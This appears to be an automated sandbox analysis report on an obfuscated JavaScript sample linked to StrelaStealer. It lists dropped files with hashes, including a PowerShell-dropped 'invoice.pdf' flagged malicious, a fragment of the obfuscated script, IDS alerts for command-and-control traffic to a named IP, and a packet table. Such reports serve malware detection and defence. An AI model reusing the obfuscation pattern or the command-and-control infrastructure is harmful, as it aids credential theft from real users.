Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\3aa67c9e-3028-41b7-bf6d-3c919c3f6f22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VwYIGNPY9WL07oXGZbNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:twZGO9WLxXGZx3mlind9i4ufFXpAXkru
MD5:	3344412069E8A9B4F94F410309893414
SHA1:	A920F018E5E6999F2281A655B2FBE9A215190F94
SHA-256:	AD3B420D705CD3412FB3D4CC2849BDEFB82FE3901BBBA35B5CEA665A543CBA41
SHA-512:	58A8BAF9D639184BE1C3A2978623A219A7DF4A5DC388A24C67EE5E3ED52AE935B2FB6BEDA92933F0853D74F80B694CB2EED4A5CF84DCF14693AF81B55D247610
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\534dda9d-e55e-4354-97c2-9ff5d3a40c30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a27e5685-e94b-42dd-afa0-c347c29c744a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17293), with CRLF line terminators
Entropy (8bit):	4.887580298511451
TrID:
File name:	4702309321830413443.js
File size:	20'640 bytes
MD5:	2b270d3dc8487327852de9a133f12159
SHA1:	0e3bd0d70c67f062d4db19ae50633a0ca0e445c2
SHA256:	c0e9b36c438d2a6716a4143b6735b466187371251f1aafd686161e8d35cf4a9c
SHA512:	4bb19a87460103ebe670fdd9a1badf8b55ddbea9fb8dccaf3fb984373e334318a4a03ff6e78d6f41c8023dd0d7dc06c356ea239c1f18dccfc63571d0a01374ba
SSDEEP:	192:fplpYj06KJ12WaWxYyiOdpWtjH/+aGA5HoQMxFlI90BnH8y8s/ypETVveUG:hlDxqQdE+lA5IrxFlI9Py8s/CEgj
TLSH:	2492308CB84E4141D7FC68F41AE56EB126B4114C45B8148B59E2B6C43BABF3E67E21F2
File Content Preview:	function gptdbkmq(){yspxhpslh=[1031,3079,5127,4103,2055,3072];var uxzit=this[upvkzi+ryetjh+cqugat+liwsbti+ugnjsik+vnmixkce+xyqxsy+mzfqa](this[qewmfcsm+xrukisz+ssvgehv+cqugat+djylimib+upvkzi+mzfqa][xqhujpuy+cqugat+ugnjsik+ryetjh+mzfqa+ugnjsik+xvppxkxkv+eqc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:13:38.147089+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49727	193.143.1.205	80	TCP
2025-01-11T02:13:38.147089+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49727	193.143.1.205	80	TCP
2025-01-11T02:13:40.269679+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49743	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:13:37.353382111 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:37.364592075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:37.364698887 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:37.367594957 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:37.372422934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.146946907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.146974087 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.146985054 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147023916 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147089005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.147106886 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147116899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147181034 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.147212982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147229910 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147242069 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147252083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.147273064 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.147294998 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.151968956 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.151979923 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.152036905 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.193058014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.193079948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.193089962 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.193191051 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.238259077 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.270452023 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270468950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270483017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270503044 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270539999 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.270554066 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270567894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.270592928 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.270629883 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.271035910 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271102905 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271114111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271241903 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.271442890 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271513939 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.271554947 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271569014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271677017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271687984 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.271703005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.271749973 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.272182941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.272228003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.272241116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.272334099 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.272367001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.272387981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.272413969 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.273099899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.273112059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.273124933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.273170948 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.273189068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.280117035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.280137062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.280152082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.280189037 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.316250086 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.316267967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.316436052 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.357327938 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.357346058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.357515097 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.393888950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.393934965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.393945932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394059896 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394073963 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394085884 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394109964 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394187927 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394188881 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394191027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394212008 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394294977 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394355059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394373894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394558907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394602060 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394607067 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394618988 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394653082 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394824982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394891024 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.394915104 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394927979 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.394970894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.395071983 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395083904 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395096064 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395149946 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.395567894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395628929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395639896 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395649910 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.395720005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395731926 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395742893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395746946 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.395790100 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.395818949 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395833015 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.395993948 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.396625042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396636963 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396648884 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396686077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396697998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396708965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396713018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.396713018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.396722078 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396743059 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.396816969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.396821976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.397579908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397591114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397603035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397649050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.397649050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.397751093 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397763014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397773981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397784948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.397824049 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.397824049 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.397834063 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.441374063 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.444216967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.444232941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.444245100 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.444349051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.444360018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.444360971 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.444405079 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.480854988 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.480869055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.480953932 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.517359972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517383099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517395020 CET	80	49727	193.143.1.205	192.168.2.10
